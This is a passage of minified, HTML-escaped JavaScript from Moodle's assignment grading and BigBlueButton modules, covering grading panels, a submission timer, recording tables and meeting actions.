inputElement=document.createElement(&quot;input&quot;);inputElement.setAttribute(&quot;type&quot;,&quot;hidden&quot;),inputElement.setAttribute(&quot;name&quot;,&quot;userchange&quot;),inputElement.setAttribute(&quot;value&quot;,!0),form.appendChild(inputElement),FormChangeChecker.markFormSubmitted(inputElement),form.submit()}))}}));
/**
 * Javascript controller for the &quot;Actions&quot; panel at the bottom of the page.
 *
 * @module     mod_assign/grading_actions
 * @copyright  2016 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.1
 */
define(&quot;mod_assign/grading_actions&quot;,[&quot;jquery&quot;,&quot;mod_assign/grading_events&quot;],(function($,GradingEvents){var GradingActions=function(selector){this._regionSelector=selector,this._region=$(selector),this.registerEventListeners()};return GradingActions.prototype._regionSelector=null,GradingActions.prototype._lastUserId=0,GradingActions.prototype._region=null,GradingActions.prototype._showActionsForm=function(event,userid){var form=this._region.find(&quot;[data-region=grading-actions-form]&quot;);userid!=this._lastUserId&amp;&amp;userid&gt;0&amp;&amp;(this._lastUserId=userid),userid&gt;0?form.removeClass(&quot;hide&quot;):form.addClass(&quot;hide&quot;)},GradingActions.prototype._trigger=function(action){$(document).trigger(action)},GradingActions.prototype.getReviewPanelElement=function(){return $(&#039;[data-region=&quot;review-panel&quot;]&#039;)},GradingActions.prototype.hasReviewPanelElement=function(){return this.getReviewPanelElement().length&gt;0},GradingActions.prototype.getCollapseGradePanelButton=function(){return $(&#039;[data-region=&quot;grade-actions&quot;] .collapse-grade-panel&#039;)},GradingActions.prototype.getCollapseReviewPanelButton=function(){return $(&#039;[data-region=&quot;grade-actions&quot;] .collapse-review-panel&#039;)},GradingActions.prototype.getExpandAllPanelsButton=function(){return $(&#039;[data-region=&quot;grade-actions&quot;] .collapse-none&#039;)},GradingActions.prototype.resetLayoutButtons=function(){this.getCollapseGradePanelButton().removeClass(&quot;active&quot;),this.getCollapseReviewPanelButton().removeClass(&quot;active&quot;),this.getExpandAllPanelsButton().removeClass(&quot;active&quot;)},GradingActions.prototype.collapseReviewPanel=function(){$(document).trigger(GradingEvents.COLLAPSE_REVIEW_PANEL),$(document).trigger(GradingEvents.EXPAND_GRADE_PANEL),this.resetLayoutButtons(),this.getCollapseReviewPanelButton().addClass(&quot;active&quot;)},GradingActions.prototype.collapseGradePanel=function(){$(document).trigger(GradingEvents.COLLAPSE_GRADE_PANEL),$(document).trigger(GradingEvents.EXPAND_REVIEW_PANEL),this.resetLayoutButtons(),this.getCollapseGradePanelButton().addClass(&quot;active&quot;)},GradingActions.prototype.expandAllPanels=function(){$(document).trigger(GradingEvents.EXPAND_GRADE_PANEL),$(document).trigger(GradingEvents.EXPAND_REVIEW_PANEL),this.resetLayoutButtons(),this.getExpandAllPanelsButton().addClass(&quot;active&quot;)},GradingActions.prototype.registerEventListeners=function(){if(this.hasReviewPanelElement()){var collapseReviewPanelButton=this.getCollapseReviewPanelButton();collapseReviewPanelButton.click(function(e){this.collapseReviewPanel(),e.preventDefault()}.bind(this)),collapseReviewPanelButton.keydown(function(e){e.metaKey||e.shiftKey||e.altKey||e.ctrlKey||13!==e.keyCode&amp;&amp;32!==e.keyCode||(this.collapseReviewPanel(),e.preventDefault())}.bind(this));var collapseGradePanelButton=this.getCollapseGradePanelButton();collapseGradePanelButton.click(function(e){this.collapseGradePanel(),e.preventDefault()}.bind(this)),collapseGradePanelButton.keydown(function(e){e.metaKey||e.shiftKey||e.altKey||e.ctrlKey||13!==e.keyCode&amp;&amp;32!==e.keyCode||(this.collapseGradePanel(),e.preventDefault())}.bind(this));var expandAllPanelsButton=this.getExpandAllPanelsButton();expandAllPanelsButton.click(function(e){this.expandAllPanels(),e.preventDefault()}.bind(this)),expandAllPanelsButton.keydown(function(e){e.metaKey||e.shiftKey||e.altKey||e.ctrlKey||13!==e.keyCode&amp;&amp;32!==e.keyCode||(this.expandAllPanels(),e.preventDefault())}.bind(this))}$(document).on(&quot;user-changed&quot;,this._showActionsForm.bind(this)),this._region.find(&#039;[name=&quot;savechanges&quot;]&#039;).on(&quot;click&quot;,this._trigger.bind(this,&quot;save-changes&quot;)),this._region.find(&#039;[name=&quot;saveandshownext&quot;]&#039;).on(&quot;click&quot;,this._trigger.bind(this,&quot;save-and-show-next&quot;)),this._region.find(&#039;[name=&quot;resetbutton&quot;]&#039;).on(&quot;click&quot;,this._trigger.bind(this,&quot;reset&quot;)),this._region.find(&quot;form&quot;).on(&quot;submit&quot;,(function(e){e.preventDefault()}))},GradingActions}));
define(&quot;mod_assign/timer&quot;,[&quot;exports&quot;,&quot;core/notification&quot;,&quot;core/str&quot;],(function(_exports,_notification,_str){var obj;
/**
   * A javascript module for the time in the assign module.
   *
   * @copyright  2020 Matt Porritt &lt;mattp@catalyst-au.net&gt;
   * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_notification=(obj=_notification)&amp;&amp;obj.__esModule?obj:{default:obj};let endTime=0,timeoutId=null,timer=null;const update=()=&gt;{const now=(new Date).getTime(),secondsLeft=Math.floor((endTime-now)/1e3);if(secondsLeft&lt;=0)return timer.classList.add(&quot;alert&quot;,&quot;alert-danger&quot;),timer.innerHTML=&quot;00:00:00&quot;,document.getElementById(&quot;mod_assign_timelimit_block&quot;)&amp;&amp;(0,_str.get_string)(&quot;caneditsubmission&quot;,&quot;mod_assign&quot;).then((message=&gt;_notification.default.addNotification({message:message}))).catch(_notification.default.exception),void(timeoutId&amp;&amp;clearTimeout(timeoutId));var secs;secondsLeft&lt;300?(timer.classList.remove(&quot;alert-warning&quot;),timer.classList.add(&quot;alert&quot;,&quot;alert-danger&quot;)):secondsLeft&lt;900&amp;&amp;(timer.classList.remove(&quot;alert-danger&quot;),timer.classList.add(&quot;alert&quot;,&quot;alert-warning&quot;)),timer.innerHTML=(secs=secondsLeft,[Math.floor(secs/3600),Math.floor(secs/60)%60,secs%60].filter(((value,index)=&gt;0!==value||index&gt;0)).map((value=&gt;&quot;&quot;.concat(value).padStart(2,&quot;0&quot;))).join(&quot;:&quot;)),timeoutId=setTimeout(update,500)};_exports.init=timerId=&gt;{timer=document.getElementById(timerId),endTime=M.pageloadstarttime.getTime()+1e3*timer.dataset.starttime,update()}}));
/**
 * Javascript controller for the &quot;Review&quot; panel at the left of the page.
 *
 * @module     mod_assign/grading_review_panel
 * @copyright  2016 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.1
 */
define(&quot;mod_assign/grading_review_panel&quot;,[&quot;jquery&quot;,&quot;mod_assign/grading_events&quot;],(function($,GradingEvents){var GradingReviewPanel=function(){this._region=$(&#039;[data-region=&quot;review-panel-content&quot;]&#039;),this.registerEventListeners()};return GradingReviewPanel.prototype._region=null,GradingReviewPanel.prototype.getReviewPanel=function(pluginname){return void 0===this._region.data(&quot;panel-owner&quot;)&amp;&amp;this._region.data(&quot;review-panel-plugin&quot;,pluginname),this._region.data(&quot;review-panel-plugin&quot;)==pluginname&amp;&amp;this._region[0]},GradingReviewPanel.prototype.getTogglePanelButton=function(){return this.getPanelElement().find(&#039;[data-region=&quot;review-panel-toggle&quot;]&#039;)},GradingReviewPanel.prototype.getPanelElement=function(){return $(&#039;[data-region=&quot;review-panel&quot;]&#039;)},GradingReviewPanel.prototype.getPanelContentElement=function(){return $(&#039;[data-region=&quot;review-panel-content&quot;]&#039;)},GradingReviewPanel.prototype.togglePanel=function(){this.getPanelElement().hasClass(&quot;collapsed&quot;)?$(document).trigger(GradingEvents.EXPAND_REVIEW_PANEL):$(document).trigger(GradingEvents.COLLAPSE_REVIEW_PANEL)},GradingReviewPanel.prototype.collapsePanel=function(){this.getPanelElement().addClass(&quot;collapsed&quot;).removeClass(&quot;grade-panel-collapsed&quot;),this.getPanelContentElement().attr(&quot;aria-hidden&quot;,!0)},GradingReviewPanel.prototype.expandPanel=function(){this.getPanelElement().removeClass(&quot;collapsed&quot;),this.getPanelContentElement().removeAttr(&quot;aria-hidden&quot;)},GradingReviewPanel.prototype.registerEventListeners=function(){var toggleReviewPanelButton=this.getTogglePanelButton();toggleReviewPanelButton.click(function(e){this.togglePanel(),e.preventDefault()}.bind(this)),toggleReviewPanelButton.keydown(function(e){e.metaKey||e.shiftKey||e.altKey||e.ctrlKey||13!==e.keyCode&amp;&amp;32!==e.keyCode||(this.togglePanel(),e.preventDefault())}.bind(this));var docElement=$(document);docElement.on(GradingEvents.COLLAPSE_REVIEW_PANEL,function(){this.collapsePanel()}.bind(this)),docElement.on(GradingEvents.COLLAPSE_GRADE_PANEL,function(){this.expandPanel(),this.getPanelElement().addClass(&quot;grade-panel-collapsed&quot;)}.bind(this)),docElement.on(GradingEvents.EXPAND_REVIEW_PANEL,function(){this.expandPanel()}.bind(this)),docElement.on(GradingEvents.EXPAND_GRADE_PANEL,function(){this.getPanelElement().removeClass(&quot;grade-panel-collapsed&quot;)}.bind(this))},GradingReviewPanel}));
/**
 * Events for the grading interface.
 *
 * @module     mod_assign/grading_events
 * @copyright  2016 Ryan Wyllie &lt;ryan@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.1
 */
define(&quot;mod_assign/grading_events&quot;,(function(){return{COLLAPSE_REVIEW_PANEL:&quot;grading:collapse-review-panel&quot;,EXPAND_REVIEW_PANEL:&quot;grading:expand-review-panel&quot;,COLLAPSE_GRADE_PANEL:&quot;grading:collapse-grade-panel&quot;,EXPAND_GRADE_PANEL:&quot;grading:expand-grade-panel&quot;}}));
/**
 * Javascript controller for the &quot;User summary&quot; panel at the top of the page.
 *
 * @module     mod_assign/grading_navigation_user_info
 * @copyright  2016 Damyon Wiese &lt;damyon@moodle.com&gt;
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 * @since      3.1
 */
define(&quot;mod_assign/grading_navigation_user_info&quot;,[&quot;jquery&quot;,&quot;core/notification&quot;,&quot;core/ajax&quot;,&quot;core/templates&quot;],(function($,notification,ajax,templates){var UserInfo=function(selector){this._regionSelector=selector,this._region=$(selector),this._userCache={},$(document).on(&quot;user-changed&quot;,this._refreshUserInfo.bind(this))};return UserInfo.prototype._regionSelector=null,UserInfo.prototype._userCache=null,UserInfo.prototype._region=null,UserInfo.prototype._lastUserId=0,UserInfo.prototype._getAssignmentId=function(){return this._region.attr(&quot;data-assignmentid&quot;)},UserInfo.prototype._refreshUserInfo=function(event,userid){var promise=$.Deferred();this._region.attr(&quot;data-userid&quot;,userid),this._lastUserId!=userid&amp;&amp;(this._lastUserId=userid,templates.render(&quot;mod_assign/loading&quot;,{}).done(function(html,js){if(this._region.fadeOut(&quot;fast&quot;,function(){templates.replaceNodeContents(this._region,html,js),this._region.fadeIn(&quot;fast&quot;)}.bind(this)),userid&lt;0)templates.render(&quot;mod_assign/grading_navigation_no_users&quot;,{}).done(function(html,js){userid==this._lastUserId&amp;&amp;this._region.fadeOut(&quot;fast&quot;,function(){templates.replaceNodeContents(this._region,html,js),this._region.fadeIn(&quot;fast&quot;)}.bind(this))}.bind(this)).fail(notification.exception);else{if(void 0!==this._userCache[userid])promise.resolve(this._userCache[userid]);else{var assignmentId=this._getAssignmentId();ajax.call([{methodname:&quot;mod_assign_get_participant&quot;,args:{userid:userid,assignid:assignmentId,embeduser:!0}}])[0].done(function(participant){participant.hasOwnProperty(&quot;id&quot;)?(this._userCache[userid]=participant,promise.resolve(this._userCache[userid])):promise.reject(&quot;No users&quot;)}.bind(this)).fail(notification.exception)}promise.done(function(context){var identityfields=$(&quot;[data-showuseridentity]&quot;).data(&quot;showuseridentity&quot;).split(&quot;,&quot;),identity=[];context.courseid=$(&#039;[data-region=&quot;grading-navigation-panel&quot;]&#039;).attr(&quot;data-courseid&quot;),context.user&amp;&amp;($.each(identityfields,(function(i,k){void 0!==context.user[k]&amp;&amp;&quot;&quot;!==context.user[k]&amp;&amp;(context.hasidentity=!0,identity.push(context.user[k]))})),context.identity=identity.join(&quot;, &quot;),context.user.profileimageurl&amp;&amp;(context.profileimageurl=context.user.profileimageurl)),templates.render(&quot;mod_assign/grading_navigation_user_summary&quot;,context).done(function(html,js){userid==this._lastUserId&amp;&amp;this._region.fadeOut(&quot;fast&quot;,function(){templates.replaceNodeContents(this._region,html,js),this._region.fadeIn(&quot;fast&quot;)}.bind(this))}.bind(this)).fail(notification.exception)}.bind(this)).fail(function(){templates.render(&quot;mod_assign/grading_navigation_no_users&quot;,{}).done(function(html,js){this._region.fadeOut(&quot;fast&quot;,function(){templates.replaceNodeContents(this._region,html,js),this._region.fadeIn(&quot;fast&quot;)}.bind(this))}.bind(this)).fail(notification.exception)}.bind(this))}}.bind(this)).fail(notification.exception))},UserInfo}));
define(&quot;mod_bigbluebuttonbn/recordings&quot;,[&quot;exports&quot;,&quot;./repository&quot;,&quot;core/notification&quot;,&quot;core/prefetch&quot;,&quot;core/str&quot;,&quot;core/loadingicon&quot;,&quot;core/modal_factory&quot;,&quot;core/modal_events&quot;,&quot;core/pending&quot;],(function(_exports,repository,_notification,_prefetch,_str,_loadingicon,_modal_factory,_modal_events,_pending){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,repository=function(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj);return newObj}
/**
   * JS for the recordings page on mod_bigbluebuttonbn plugin.
   *
   * @module      mod_bigbluebuttonbn/recordings
   * @copyright   2021 Blindside Networks Inc
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */(repository),_modal_factory=_interopRequireDefault(_modal_factory),_modal_events=_interopRequireDefault(_modal_events),_pending=_interopRequireDefault(_pending);const stringsWithKeys={first:&quot;view_recording_yui_first&quot;,prev:&quot;view_recording_yui_prev&quot;,next:&quot;view_recording_yui_next&quot;,last:&quot;view_recording_yui_last&quot;,goToLabel:&quot;view_recording_yui_page&quot;,goToAction:&quot;view_recording_yui_go&quot;,perPage:&quot;view_recording_yui_rows&quot;,showAll:&quot;view_recording_yui_show_all&quot;};(0,_prefetch.prefetchStrings)(&quot;bigbluebuttonbn&quot;,Object.entries(stringsWithKeys).map((entry=&gt;entry[1])));const getStringsForYui=()=&gt;{const stringMap=Object.keys(stringsWithKeys).map((key=&gt;({key:stringsWithKeys[key],component:&quot;mod_bigbluebuttonbn&quot;})));return(0,_str.get_strings)(stringMap).then((stringArray=&gt;Object.assign({},...Object.keys(stringsWithKeys).map(((key,index)=&gt;({[key]:stringArray[index]})))))).catch()},getFormattedData=response=&gt;{const recordingData=response.tabledata;return JSON.parse(recordingData.data)},getTableNode=tableSelector=&gt;document.querySelector(tableSelector),fetchRecordingData=tableSelector=&gt;{const tableNode=getTableNode(tableSelector);return tableNode.dataset.importMode?repository.fetchRecordingsToImport(tableNode.dataset.bbbid,tableNode.dataset.bbbSourceInstanceId,tableNode.dataset.bbbSourceCourseId,tableNode.dataset.tools,tableNode.dataset.groupId):repository.fetchRecordings(tableNode.dataset.bbbid,tableNode.dataset.tools,tableNode.dataset.groupId)},getDataTableFunctions=(tableId,searchFormId,dataTable)=&gt;{const bbbid=getTableNode(tableId).dataset.bbbid,updateTableFromResponse=response=&gt;{if(!response||!response.status)return;dataTable.get(&quot;data&quot;).reset(getFormattedData(response)),dataTable.set(&quot;currentData&quot;,dataTable.get(&quot;data&quot;));const currentFilter=dataTable.get(&quot;currentFilter&quot;);currentFilter&amp;&amp;filterByText(currentFilter)},refreshTableData=()=&gt;fetchRecordingData(tableId).then(updateTableFromResponse),filterByText=value=&gt;{const dataModel=dataTable.get(&quot;currentData&quot;);dataTable.set(&quot;currentFilter&quot;,value);const escapedRegex=value.replace(/[-[\]{}()*+?.,\\^$|#\s]/g,&quot;\\$&amp;&quot;),rsearch=new RegExp(&quot;&lt;span&gt;.*?&quot;.concat(escapedRegex,&quot;.*?&lt;/span&gt;&quot;),&quot;i&quot;);dataTable.set(&quot;data&quot;,dataModel.filter({asList:!0},(item=&gt;{const name=item.get(&quot;recording&quot;);if(name&amp;&amp;rsearch.test(name))return!0;const description=item.get(&quot;description&quot;);return description&amp;&amp;rsearch.test(description)})))},recordingConfirmationMessage=async data=&gt;{var _document$querySelect,_document$querySelect2;const playbackElement=document.querySelector(&quot;#playbacks-&quot;.concat(data.recordingid)),recordingType=await(0,_str.get_string)(&quot;true&quot;===playbackElement.dataset.imported?&quot;view_recording_link&quot;:&quot;view_recording&quot;,&quot;bigbluebuttonbn&quot;),confirmation=await(0,_str.get_string)(&quot;view_recording_&quot;.concat(data.action,&quot;_confirmation&quot;),&quot;bigbluebuttonbn&quot;,recordingType);if(&quot;import&quot;===data.action)return confirmation;const associatedLinkCount=null===(_document$querySelect=document.querySelector(&quot;a#recording-&quot;.concat(data.action,&quot;-&quot;).concat(data.recordingid)))||void 0===_document$querySelect||null===(_document$querySelect2=_document$querySelect.dataset)||void 0===_document$querySelect2?void 0:_document$querySelect2.links;if(!associatedLinkCount||0===associatedLinkCount)return confirmation;return await(0,_str.get_string)(&quot;view_recording_&quot;.concat(data.action,1===associatedLinkCount?&quot;_confirmation_warning_p&quot;:&quot;_confirmation_warning_s&quot;),&quot;bigbluebuttonbn&quot;,associatedLinkCount)+&quot;\n\n&quot;+confirmation},processAction=e=&gt;{const popoutLink=e.target.closest(&#039;[data-action=&quot;play&quot;]&#039;);if(popoutLink){e.preventDefault();const videoPlayer=window.open(&quot;&quot;,&quot;_blank&quot;);return videoPlayer.opener=null,void(videoPlayer.location.href=popoutLink.href)}const clickedLink=e.target.closest(&quot;a[data-action]&quot;);if(clickedLink&amp;&amp;!clickedLink.classList.contains(&quot;disabled&quot;)){e.preventDefault();const iconPromise=(0,_loadingicon.addIconToContainerWithPromise)(dataTable.get(&quot;boundingBox&quot;).getDOMNode());(element=&gt;{const getDataFromAction=(element,dataType)=&gt;{const dataElement=element.closest(&quot;[data-&quot;.concat(dataType,&quot;]&quot;));return dataElement?dataElement.dataset[dataType]:null},elementData=element.dataset,payload={bigbluebuttonbnid:bbbid,recordingid:getDataFromAction(element,&quot;recordingid&quot;),additionaloptions:getDataFromAction(element,&quot;additionaloptions&quot;),action:elementData.action};if(payload.additionaloptions||(payload.additionaloptions={}),&quot;import&quot;===elementData.action){const bbbsourceid=getDataFromAction(element,&quot;source-instance-id&quot;),bbbcourseid=getDataFromAction(element,&quot;source-course-id&quot;);payload.additionaloptions||(payload.additionaloptions={}),payload.additionaloptions.sourceid=bbbsourceid||0,payload.additionaloptions.bbbcourseid=bbbcourseid||0}return payload.additionaloptions=JSON.stringify(payload.additionaloptions),&quot;1&quot;===element.dataset.requireConfirmation?new Promise((resolve=&gt;_modal_factory.default.create({title:(0,_str.get_string)(&quot;confirm&quot;),body:recordingConfirmationMessage(payload),type:_modal_factory.default.types.SAVE_CANCEL}).then((async modal=&gt;(modal.setSaveButtonText(await(0,_str.get_string)(&quot;ok&quot;,&quot;moodle&quot;)),modal.getRoot().on(_modal_events.default.save,(()=&gt;{resolve(!0)})),modal.getRoot().on(_modal_events.default.hidden,(()=&gt;{modal.destroy(),resolve(!1)})),modal.show(),modal))).catch(Notification.exception))).then((proceed=&gt;proceed?repository.updateRecording(payload):()=&gt;null)):repository.updateRecording(payload)})(clickedLink).then(refreshTableData).catch(_notification.exception).then(iconPromise.resolve).catch()}},processSearchSubmission=e=&gt;{e.preventDefault();const searchInput=e.target.closest(&quot;div[role=search]&quot;).querySelector(&quot;input[name=search]&quot;);filterByText(searchInput.value)};return{filterByText:filterByText,refreshTableData:refreshTableData,registerEventListeners:()=&gt;{dataTable.get(&quot;boundingBox&quot;).getDOMNode().addEventListener(&quot;click&quot;,processAction);if(document.querySelector(searchFormId)){document.querySelector(searchFormId+&quot; button&quot;).addEventListener(&quot;click&quot;,processSearchSubmission)}}}},setupDatatable=(tableId,searchFormId,response)=&gt;{if(!response)return Promise.resolve();if(!response.status)return Promise.resolve();const recordingData=response.tabledata,pendingPromise=new _pending.default(&quot;mod_bigbluebuttonbn/recordings/setupDatatable&quot;);return Promise.all([(lang=recordingData.locale,new Promise((resolve=&gt;{YUI({lang:lang}).use(&quot;intl&quot;,&quot;datatable&quot;,&quot;datatable-sort&quot;,&quot;datatable-paginator&quot;,&quot;datatype-number&quot;,(Y=&gt;{resolve(Y)}))}))),getStringsForYui()]).then((_ref=&gt;{let[yuiInstance,strings]=_ref;return yuiInstance.Intl.add(&quot;datatable-paginator&quot;,yuiInstance.config.lang,{...strings}),yuiInstance.DataTable.BodyView.Formatters.customDate=()=&gt;cell=&gt;{return locale=recordingData.locale,date=cell.value,new Date(date).toLocaleDateString(locale,{weekday:&quot;long&quot;,year:&quot;numeric&quot;,month:&quot;long&quot;,day:&quot;numeric&quot;});var locale,date},yuiInstance})).then((yuiInstance=&gt;{const tableData=getFormattedData(response);return yuiInstance.RecordsPaginatorView=Y.Base.create(&quot;my-paginator-view&quot;,yuiInstance.DataTable.Paginator.View,[],{_modelChange:function(e){var changed=e.changed;changed&amp;&amp;changed.totalItems&amp;&amp;this._updateControlsUI(e.target.get(&quot;page&quot;))}}),new yuiInstance.DataTable({paginatorView:&quot;RecordsPaginatorView&quot;,width:&quot;1195px&quot;,columns:recordingData.columns,data:tableData,rowsPerPage:10,paginatorLocation:[&quot;header&quot;,&quot;footer&quot;],autoSync:!0})})).then((dataTable=&gt;{dataTable.render(tableId);const{registerEventListeners:registerEventListeners}=getDataTableFunctions(tableId,searchFormId,dataTable);return registerEventListeners(),dataTable})).then((dataTable=&gt;(pendingPromise.resolve(),dataTable)));var lang};_exports.init=(tableId,searchFormId)=&gt;{fetchRecordingData(tableId).then((response=&gt;setupDatatable(tableId,searchFormId,response))).catch(_notification.exception)}}));
define(&quot;mod_bigbluebuttonbn/repository&quot;,[&quot;exports&quot;,&quot;core/ajax&quot;],(function(_exports,_ajax){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.updateRecording=_exports.getMeetingInfo=_exports.fetchRecordingsToImport=_exports.fetchRecordings=_exports.endMeeting=_exports.completionValidate=void 0;_exports.fetchRecordings=(bigbluebuttonbnid,tools,groupid)=&gt;{const args={bigbluebuttonbnid:bigbluebuttonbnid,tools:tools};return groupid&amp;&amp;(args.groupid=groupid),(0,_ajax.call)([{methodname:&quot;mod_bigbluebuttonbn_get_recordings&quot;,args:args}])[0]};_exports.fetchRecordingsToImport=(destinationinstanceid,sourcebigbluebuttonbnid,sourcecourseid,tools,groupid)=&gt;{const args={destinationinstanceid:destinationinstanceid,sourcebigbluebuttonbnid:sourcebigbluebuttonbnid,sourcecourseid:sourcecourseid,tools:tools};return groupid&amp;&amp;(args.groupid=groupid),(0,_ajax.call)([{methodname:&quot;mod_bigbluebuttonbn_get_recordings_to_import&quot;,args:args}])[0]};_exports.updateRecording=args=&gt;(0,_ajax.call)([{methodname:&quot;mod_bigbluebuttonbn_update_recording&quot;,args:args}])[0];_exports.endMeeting=(bigbluebuttonbnid,groupid)=&gt;(0,_ajax.call)([{methodname:&quot;mod_bigbluebuttonbn_end_meeting&quot;,args:{bigbluebuttonbnid:bigbluebuttonbnid,groupid:groupid}}])[0];_exports.completionValidate=args=&gt;(0,_ajax.call)([{methodname:&quot;mod_bigbluebuttonbn_completion_validate&quot;,args:args}])[0];_exports.getMeetingInfo=function(bigbluebuttonbnid,groupid){let updatecache=arguments.length&gt;2&amp;&amp;void 0!==arguments[2]&amp;&amp;arguments[2];return(0,_ajax.call)([{methodname:&quot;mod_bigbluebuttonbn_meeting_info&quot;,args:{bigbluebuttonbnid:bigbluebuttonbnid,groupid:groupid,updatecache:updatecache}}])[0]}}));
define(&quot;mod_bigbluebuttonbn/accept_dpa&quot;,[&quot;exports&quot;,&quot;core_form/modalform&quot;,&quot;core/notification&quot;,&quot;core/str&quot;],(function(_exports,_modalform,_notification,_str){function _interopRequireDefault(obj){return obj&amp;&amp;obj.__esModule?obj:{default:obj}}
/**
   * Javascript module for confirming the acceptance of the current data processing agreement before enabling
   * the BigBlueButton activity module.
   *
   * @module      mod_bigbluebuttonbn/accept_dpa
   * @copyright   2022 Mihail Geshoski &lt;mihail@moodle.com&gt;
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.init=void 0,_modalform=_interopRequireDefault(_modalform),_notification=_interopRequireDefault(_notification);_exports.init=()=&gt;{const modalForm=new _modalform.default({modalConfig:{title:(0,_str.get_string)(&quot;enablingbigbluebutton&quot;,&quot;mod_bigbluebuttonbn&quot;),large:!1},formClass:&quot;mod_bigbluebuttonbn\\form\\accept_dpa&quot;,saveButtonText:(0,_str.get_string)(&quot;enable&quot;)});modalForm.addEventListener(modalForm.events.FORM_SUBMITTED,(event=&gt;{event.detail.result?window.location.reload():_notification.default.addNotification({type:&quot;error&quot;,message:event.detail.errors.join(&quot;&lt;br&gt;&quot;)})})),modalForm.show()}}));
define(&quot;mod_bigbluebuttonbn/actions&quot;,[&quot;./repository&quot;,&quot;core/notification&quot;,&quot;./events&quot;,&quot;core/str&quot;],(function(_repository,_notification,_events,_str){let listening=!1;listening||((()=&gt;{document.addEventListener(&quot;click&quot;,(e=&gt;{const actionButton=e.target.closest(&#039;.bbb-btn-action[data-action=&quot;end&quot;]&#039;);if(!actionButton)return;e.preventDefault();const bbbId=actionButton.dataset.bbbId,groupId=actionButton.dataset.groupId?actionButton.dataset.groupId:0;var title,question,saveLabel;(title=(0,_str.get_string)(&quot;end_session_confirm_title&quot;,&quot;mod_bigbluebuttonbn&quot;),question=(0,_str.get_string)(&quot;end_session_confirm&quot;,&quot;mod_bigbluebuttonbn&quot;),saveLabel=(0,_str.get_string)(&quot;yes&quot;,&quot;moodle&quot;),new Promise((resolve=&gt;{(0,_notification.saveCancel)(title,question,saveLabel,resolve)}))).then((()=&gt;(0,_repository.endMeeting)(bbbId,groupId))).then((()=&gt;{(0,_events.notifySessionEnded)(bbbId,groupId)})).catch(_notification.exception)}))})(),listening=!0)}));
define(&quot;mod_bigbluebuttonbn/events&quot;,[&quot;exports&quot;,&quot;core/event_dispatcher&quot;],(function(_exports,_event_dispatcher){Object.defineProperty(_exports,&quot;__esModule&quot;,{value:!0}),_exports.notifySessionEnded=_exports.notifyCurrentSessionEnded=_exports.eventTypes=void 0;
/**
   * Events for the mod_bigbluebuttonbn plugin.
   *
   * @module      mod_bigbluebuttonbn/events
   * @copyright   2021 Blindside Networks Inc
   * @license     http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
   */
const eventTypes={sessionEnded:&quot;mod_bigbluebuttonbn/sessionEnded&quot;,currentSessionEnded:&quot;mod_bigbluebuttonbn/currentSessionEnded&quot;};_exports.eventTypes=eventTypes;_exports.notifySessionEnded=(bbbId,groupId)=&gt;(0,_event_dispatcher.dispatchEvent)(eventTypes.sessionEnded,{bbbId:bbbId,groupId:groupId});_exports.notifyCurrentSessionEnded=container=&gt;(0,_event_dispatcher.dispatchEvent)(eventTypes.currentSessionEnded,{},container)}));
define(&quot;mod_bigbluebuttonbn/rooms&quot;,[&quot;exports&quot;,&quot;./actions&quot;,&quot;./repository&quot;,&quot;./roomupdater&quot;,&quot;core/notification&quot;,&quot;./events&quot;],(function(_exports,_actions,repository,roomUpdater,_notification,_events){function _getRequireWildcardCache(nodeInterop){if(&quot;function&quot;!=typeof WeakMap)return null;var cacheBabelInterop=new WeakMap,cacheNodeInterop=new WeakMap;return(_getRequireWildcardCache=function(nodeInterop){return nodeInterop?cacheNodeInterop:cacheBabelInterop})(nodeInterop)}function _interopRequireWildcard(obj,nodeInterop){if(!nodeInterop&amp;&amp;obj&amp;&amp;obj.__esModule)return obj;if(null===obj||&quot;object&quot;!=typeof obj&amp;&amp;&quot;function&quot;!=typeof obj)return{default:obj};var cache=_getRequireWildcardCache(nodeInterop);if(cache&amp;&amp;cache.has(obj))return cache.get(obj);var newObj={},hasPropertyDescriptor=Object.defineProperty&amp;&amp;Object.getOwnPropertyDescriptor;for(var key in obj)if(&quot;default&quot;!==key&amp;&amp;Object.prototype.hasOwnProperty.call(obj,key)){var desc=hasPropertyDescriptor?Object.getOwnPropertyDescriptor(obj,key):null;desc&amp;&amp;(desc.get||desc.set)?Object.defineProperty(newObj,key,desc):newObj[key]=obj[key]}return newObj.default=obj,cache&amp;&amp;cache.set(obj,newObj),newObj}
/**
   * JS actions for the rooms page for mod_bigbluebuttonbn.
   *
   * @module      mod_bigbluebuttonbn/rooms
   * @copyright   2021 Blindside Networks Inc
